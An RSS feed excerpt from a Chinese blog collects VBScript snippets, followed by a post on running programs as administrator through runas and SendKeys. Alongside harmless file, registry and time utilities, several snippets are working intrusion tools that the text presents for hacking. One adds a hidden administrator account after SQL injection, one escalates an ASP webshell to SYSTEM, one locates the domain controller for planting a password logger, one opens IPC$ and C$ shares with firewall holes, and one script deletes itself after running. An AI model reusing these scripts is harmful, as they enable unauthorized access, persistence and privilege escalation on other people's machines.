Set TestFile=fso.CreateTextFile(drvName&amp;fldName&amp;&quot;\&quot;&amp;fileName&amp;&quot;.txt&quot;,True)
TestFile.WriteLine(&quot;Hello,World!&quot;)
TestFile.Close
End If</pre></div></div>

<p><strong>VBS改写、追加 文件</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim fso,openFile
Set fso=CreateObject(&quot;Scripting.FileSystemObject&quot;)
Set openFile=fso.OpenTextFile(&quot;C:\test.txt&quot;,2,True)   '1表示只读，2表示可写，8表示追加
openFile.Write &quot;Hello World!&quot;
openFile.Close</pre></div></div>

<p><strong>VBS读取文件 ReadAll  读取全部</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim fso,openFile
Set fso=CreateObject(&quot;Scripting.FileSystemObject&quot;)
Set openFile=fso.OpenTextFile(&quot;C:\test.txt&quot;,1,True)
MsgBox(openFile.ReadAll)</pre></div></div>

<p><strong>VBS读取文件 ReadLine 读取一行</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim fso,openFile
Set fso=CreateObject(&quot;Scripting.FileSystemObject&quot;)
Set openFile=fso.OpenTextFile(&quot;C:\test.txt&quot;,1,True)
MsgBox(openFile.ReadLine())
MsgBox(openFile.ReadLine())   '如果读取行数超过文件的行数，就会出错</pre></div></div>

<p><strong>VBS读取文件 Read 读取n个字符</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim fso,openFile
Set fso=CreateObject(&quot;Scripting.FileSystemObject&quot;)
Set openFile=fso.OpenTextFile(&quot;C:\test.txt&quot;,1,True)
MsgBox(openFile.Read(2))   '如果超出了字符数，不会出错。</pre></div></div>

<p><strong>VBS删除文件</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim fso
Set fso=CreateObject(&quot;Scripting.FileSystemObject&quot;)
fso.DeleteFile(&quot;C:\test.txt&quot;)</pre></div></div>

<p><strong>VBS删除文件夹</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim fso
Set fso=CreateObject(&quot;Scripting.FileSystemObject&quot;)
fso.DeleteFolder(&quot;C:\newFolder&quot;) '不管文件夹中有没有文件都一并删除</pre></div></div>

<p><strong>VBS连续创建文件</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim fso,TestFile
Set fso=CreateObject(&quot;Scripting.FileSystemObject&quot;)
For i=1 To 10
Set TestFile=fso.CreateTextFile(&quot;C:\hello&quot;&amp;i&amp;&quot;.txt&quot;,Ture)
TestFile.WriteLine(&quot;Hello,World!&quot;)
TestFile.Close
Next</pre></div></div>

<p><strong>VBS根据计算机名随机生成字符串</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">set ws=createobject(&quot;wscript.shell&quot;)
set wenv=ws.environment(&quot;process&quot;)
RDA=wenv(&quot;computername&quot;)
Function UCharRand(n)
For i=1 to n
Randomize ASC(MID(RDA,1,1))
temp = cint(25*Rnd)
temp = temp +65
UCharRand = UCharRand &amp; chr(temp)
Next
End Function
msgbox UCharRand(LEN(RDA))</pre></div></div>

<p><strong>VBS根据mac生成序列号</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Function Encode(strPass)
   Dim i, theStr, strTmp
&nbsp;
   For i = 1 To Len(strPass)
    strTmp = Asc(Mid(strPass, i, 1))
    theStr = theStr &amp; Abs(strTmp)
   Next
&nbsp;
   strPass = theStr
   theStr = &quot;&quot;
&nbsp;
   Do While Len(strPass) &gt; 16
    strPass = JoinCutStr(strPass)
   Loop
&nbsp;
   For i = 1 To Len(strPass)
    strTmp = CInt(Mid(strPass, i, 1))
    strTmp = IIf(strTmp &gt; 6, Chr(strTmp + 60), strTmp)
    theStr = theStr &amp; strTmp
   Next
&nbsp;
   Encode = theStr
End Function
&nbsp;
Function JoinCutStr(str)
   Dim i, theStr
   For i = 1 To Len(str)
    If Len(str) - i = 0 Then Exit For
    theStr = theStr &amp; Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2))
    i = i + 1
   Next
   JoinCutStr = theStr
End Function
&nbsp;
Function IIf(var, val1, val2)
   If var = True Then
    IIf = val1
   Else
    IIf = val2
   End If
End Function
&nbsp;
Set mc=GetObject(&quot;Winmgmts:&quot;).InstancesOf(&quot;Win32_NetworkAdapterConfiguration&quot;)
For Each mo In mc
If mo.IPEnabled=True Then
theStr = mo.MacAddress
Exit For
End If
Next
&nbsp;
Randomize Encode(theStr)
rdnum=Int(10*Rnd+5)
&nbsp;
Function allRand(n)
  For i=1 to n
    Randomize Encode(theStr)
    temp = cint(25*Rnd)
    If temp mod 2 = 0 then
      temp = temp + 97
    ElseIf temp &lt; 9 then
      temp = temp + 48
    Else
      temp = temp + 65
    End If
    allRand = allRand &amp; chr(temp)
  Next
End Function
msgbox allRand(rdnum)</pre></div></div>

<p><strong>VBS自动连接adsl</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim Wsh
Set Wsh = WScript.CreateObject(&quot;WScript.Shell&quot;)
wsh.run &quot;Rasdial 连接名字 账号 密码&quot;,false,1</pre></div></div>

<p><strong>VBS自动断开ADSL</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim Wsh
Set Wsh = WScript.CreateObject(&quot;WScript.Shell&quot;)
wsh.run &quot;Rasdial /DISCONNECT&quot;,false,1</pre></div></div>

<p><strong>VBS每隔3秒自动更换IP并打开网址实例（值得一提的是，下面这个代码中每次打开的网址都是引用同一个IE窗口，也就是每次打开的是覆盖上次打开的窗口，如果需要每次打开的网址都是新窗口，直接使用run就可以了）</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim Wsh
Set Wsh = WScript.CreateObject(&quot;WScript.Shell&quot;)
Set oIE = CreateObject(&quot;InternetExplorer.Application&quot;)
for i=1 to 5
wsh.run &quot;Rasdial /DISCONNECT&quot;,false,1
wsh.run &quot;Rasdial 连接名字 账号 密码&quot;,false,1
oIE.Navigate &quot;http://www.ip138.com/?&quot;&amp;i&amp;&quot;&quot;
Call SynchronizeIE
oIE.Visible = True
next
Sub SynchronizeIE
On Error Resume Next
Do While(oIE.Busy)
WScript.Sleep 3000
Loop
End Sub</pre></div></div>

<p><strong>用VBS来加管理员帐号</strong><br />
在注入过程中明明有了sa帐号，但是由于net.exe和net1.exe被限制，或其它的不明原因，总是加不了管理员帐号。VBS在活动目录（adsi）部份有一个winnt对像，可以用来管理本地资源，可以用它不依靠cmd等命令来加一个管理员，详细代码如下：</p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">set wsnetwork=CreateObject(&quot;WSCRIPT.NETWORK&quot;)
os=&quot;WinNT://&quot;&amp;wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&amp;&quot;/Administrators,group&quot;) '属性,admin组
Set od=ob.Create(&quot;user&quot;,&quot;lcx&quot;) '建立用户
od.SetPassword &quot;123456&quot; '设置密码
od.SetInfo '保存
Set of=GetObject(os&amp;&quot;/lcx&quot;,user) '得到用户
oe.add os&amp;&quot;/lcx&quot;</pre></div></div>

<p>这段代码如果保存为1.vbs，在cmd下运行，格式: cscript 1.vbs的话，会在当前系统加一个名字为lcx，密码为123456的管理员。当然，你可以用记事本来修改里边的变量lcx和123456，改成你喜欢的名字和密码值。</p>
<p><strong>用vbs来列虚拟主机的物理目录</strong><br />
有时旁注入侵成功一个站，拿到系统权限后，面对上百个虚拟主机，怎样才能更快的找到我们目标站的物理目录呢？一个站一个站翻看太累，用系统自带的adsutil.vbs吧又感觉好像参数很多，有点无法下手的感觉，试试我这个脚本吧，代码如下：</p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Set ObjService=GetObject(&quot;IIS://LocalHost/W3SVC&quot;)
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
Set webSite = GetObject(&quot;IIS://Localhost/W3SVC/&quot; &amp; obj3w.Name &amp; &quot;/Root&quot;)
ListAllWeb = ListAllWeb &amp; obj3w.Name &amp; String(25-Len(obj3w.Name),&quot; &quot;) &amp; obj3w.ServerComment &amp; &quot;(&quot; &amp; webSite.Path &amp; &quot;)&quot; &amp; vbCrLf
&nbsp;
End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit</pre></div></div>

<p>运行cscript 2.vbs后，就会详细列出IIS里的站点ID、描述、及物理目录，是不是代码少很多又方便呢？</p>
<p><strong>用VBS快速找到内网域的主服务器</strong><br />
面对域结构的内网，可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码，整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上，如果能搞定其中的一台或几台，放个密码记录器之类，相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了，如何在成千台机器里判断出是哪一台呢？dos命令像net group “domain admins” /domain可以做为一个判断的标准，不过vbs也可以做到的，这仍然属于adsi部份的内容，代码如下：</p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">set obj=GetObject(&quot;LDAP://rootDSE&quot;)
wscript.echo obj.servername</pre></div></div>

<p>只用这两句代码就足够了，运行cscript 3.vbs，会有结果的。当然，无论是dos命令或vbs，你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码，你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell，或你的木马本来就是与桌面交互的，登陆你木马shell的又是域用户，就可以直接运行这些命令了。<br />
vbs的在入侵中的作用当然不只这些，当然用js或其它工具也可以实现我上述代码的功能；不过这个专栏定下的题目是vbs在hacking中的妙用，所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目，争取为读者带来好的有用的文章。</p>
<p><strong>WebShell提权用的VBS代码</strong><br />
asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下:</p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">set wsh=createobject(&quot;wscript.shell&quot;) '创建一个wsh对象
a=wsh.run (&quot;cmd.exe /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll C:\WINNT\system32\inetsrv\httpodbc.dll C:\WINNT\system32\inetsrv\ssinc.dll C:\WINNT\system32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll&quot;,0) '加入asp.dll到InProcessIsapiApps中</pre></div></div>

<p>将其保存为vbs的后缀,再上传到服务上，<br />
然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧，你会发现自己己经是system权限了</p>
<p><strong>VBS开启ipc服务和相关设置</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject(&quot;WScript.Shell&quot;)
OperationRegistry.RegWrite &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest&quot;,0
&nbsp;
Set wsh3=wscript.createobject(&quot;wscript.shell&quot;)
wsh3.Run &quot;net user helpassistant 123456&quot;,0,false
wsh3.Run &quot;net user helpassistant /active&quot;,0,false
wsh3.Run &quot;net localgroup administrators helpassistant /add&quot;,0,false
&nbsp;
wsh3.Run &quot;net start Lanmanworkstation /y&quot;,0,false
wsh3.Run &quot;net start Lanmanserver /y&quot;,0,false
wsh3.Run &quot;net start ipc$&quot;,0,True
wsh3.Run &quot;net share c$=c:\&quot;,0,false
&nbsp;
wsh3.Run &quot;netsh firewall set notifications disable&quot;,0,True
wsh3.Run &quot;netsh firewall set portopening TCP 139 enable&quot;,0,false
wsh3.Run &quot;netsh firewall set portopening UDP 139 enable&quot;,0,false
wsh3.Run &quot;netsh firewall set portopening TCP 445 enable&quot;,0,false
wsh3.Run &quot;netsh firewall set portopening UDP 445 enable&quot;,0,false</pre></div></div>

<p><strong>VBS时间判断代码</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">    Digital=time
    hours=Hour(Digital)
    minutes=Minute(Digital)
    seconds=Second(Digital)
    if (hours&lt;6) then
        dn=&quot;凌辰了，还没睡啊？&quot;
    end if
    if (hours&gt;=6) then
        dn=&quot;早上好！&quot;
    end if
    if (hours&gt;12) then
        dn=&quot;下午好！&quot;
    end if
    if (hours&gt;18) then
        dn=&quot;晚上好！&quot;
    end if
    if (hours&gt;22) then
        dn=&quot;不早了，夜深了，该睡觉了！&quot;
    end if
    if (minutes&lt;=9) then
        minutes=&quot;0&quot; &amp; minutes
    end if
    if (seconds&lt;=9) then
        seconds=&quot;0&quot; &amp; seconds
    end if
ctime=hours &amp; &quot;:&quot; &amp; minutes &amp; &quot;:&quot; &amp; seconds &amp; &quot; &quot; &amp; dn
Msgbox ctime</pre></div></div>

<p><strong>VBS注册表读写</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">Dim OperationRegistry , mynum
Set OperationRegistry=WScript.CreateObject(&quot;WScript.Shell&quot;)
mynum = 9
mynum = OperationRegistry.RegRead(&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest&quot;)
MsgBox(&quot;before forceguest = &quot;&amp;mynum)
&nbsp;
OperationRegistry.RegWrite &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest&quot;,0
&nbsp;
mynum = OperationRegistry.RegRead(&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest&quot;)
MsgBox(&quot;after forceguest = &quot;&amp;mynum)</pre></div></div>

<p><strong>VBS运行后删除自身代码</strong></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">dim fso,f
Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;)
f = fso.DeleteFile(WScript.ScriptName)
WScript.Echo( WScript.ScriptName)</pre></div></div>

<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;"></font></b></td>
    </tr>
    
        <tr>
                <td width="111" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="VBS代码加密解密" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fendou.info%2Fvbs-code-encode-and-unencode%2F&from=http%3A%2F%2Fwww.fendou.info%2Fvbs-code-collect%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 105px !important; height: 105px !important;" src="http://static.wumii.com/site_images/2011/10/16/9293540.png" width="105px" height="105px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 111px !important; font: 12px/15px arial !important; height: 45px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">VBS代码加密解密</font>
                    </a>
                </td>
                <td width="111" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="vbs脚本实现普通用户以管理员权限运行程序" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fendou.info%2Fvbs-run-software-as-administrator%2F&from=http%3A%2F%2Fwww.fendou.info%2Fvbs-code-collect%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 105px !important; height: 105px !important;" src="http://static.wumii.com/site_images/2011/10/16/9293898.jpg" width="105px" height="105px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 111px !important; font: 12px/15px arial !important; height: 45px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">vbs脚本实现普通用户以管理员权限运行程序</font>
                    </a>
                </td>
                <td width="111" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="VBS脚本得到CPU使用率，硬盘使用率和内存使用率" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fendou.info%2Fvbs-get-cpu-harddisk-ram-rate%2F&from=http%3A%2F%2Fwww.fendou.info%2Fvbs-code-collect%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 105px !important; height: 105px !important;" src="http://static.wumii.com/site_images/2011/12/09/12114386.gif" width="105px" height="105px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 111px !important; font: 12px/15px arial !important; height: 45px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">VBS脚本得到CPU使用率，硬盘使用率和内存使用率</font>
                    </a>
                </td>
                <td width="111" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="自动识别搜索引擎蜘蛛并引导到指定网站代码" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fendou.info%2Fautomatically-identify-search-engine-spiders-and-guide-to-the-specified-site-code%2F&from=http%3A%2F%2Fwww.fendou.info%2Fvbs-code-collect%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 105px !important; height: 105px !important;" src="http://static.wumii.com/site_images/2012/02/04/14747544.jpg" width="105px" height="105px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 111px !important; font: 12px/15px arial !important; height: 45px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">自动识别搜索引擎蜘蛛并引导到指定网站代码</font>
                    </a>
                </td>
                <td width="111" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="给网站添加设为主页代码" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.fendou.info%2Fhobby%2Fweb-design%2Fadd-the-code-to-the-web-site-homepage.html&from=http%3A%2F%2Fwww.fendou.info%2Fvbs-code-collect%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 105px !important; height: 105px !important;" src="http://static.wumii.com/site_images/2011/09/23/33552716.gif" width="105px" height="105px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 111px !important; font: 12px/15px arial !important; height: 45px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">给网站添加设为主页代码</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.fendou.info/vbs-code-collect/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>vbs脚本实现普通用户以管理员权限运行程序</title>
		<link>http://www.fendou.info/vbs-run-software-as-administrator/</link>
		<comments>http://www.fendou.info/vbs-run-software-as-administrator/#comments</comments>
		<pubDate>Sun, 12 Jul 2009 13:59:44 +0000</pubDate>
		<dc:creator>dev</dc:creator>
				<category><![CDATA[操作系统]]></category>
		<category><![CDATA[vbs脚本]]></category>
		<category><![CDATA[本地提权]]></category>

		<guid isPermaLink="false">http://www.fendou.info/?p=318</guid>
		<description><![CDATA[vbs脚本实现普通用户以管理员权限运行程序 <a href="http://www.fendou.info/vbs-run-software-as-administrator/">继续阅读 <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>众所周知在Windows帐号分好几个级别，User PowerUser Administrator。User在默认在情况下是不允许安装软件的，而好多公司给员工的电脑权限为User权限，当电脑软件需要升级或安装新的软件的时候很麻烦，必须切换到管理员帐号下才能安装，操作起来特别麻烦。当然你也可以在User帐号下选择运行方式以管理员身份来安装软件，但是这也需要人工输入管理员的用户名和密码，很浪费时间。其实用vbs脚本可以简化这些步骤，实现普通用户以管理员权限运行程序。<span id="more-318"></span></p>

<div class="wp_syntax"><div class="code"><pre class="vbscript" style="font-family:monospace;">set sh=WScript.CreateObject(&quot;WScript.Shell&quot;)   
WScript.Sleep   1000   
sh.Run  (&quot;runas   /user:administrator software.exe&quot; )  
WScript.Sleep   1000   
sh.SendKeys   &quot;password{ENTER}&quot;
WScript.Sleep   1000
sh.SendKeys   &quot;{ENTER}&quot;</pre></div></div>

<p>说明：将脚本与需要管理员权限执行的软件放在同一个目录下面。/user:计算机管理员 password是计算机管理员的密码。如果你的密码中包含特殊字符，那么需要查阅vbs模拟键盘输入的特殊字符的相关资料。总体来说脚本很简单，很实用，就是用脚本模拟了键盘输入用户名和密码的操作。如果你担心用户看到你的密码，可以用RAR程序将vbs脚本打包为exe自解压运行的程序并在执行后删除自身。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fendou.info/vbs-run-software-as-administrator/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

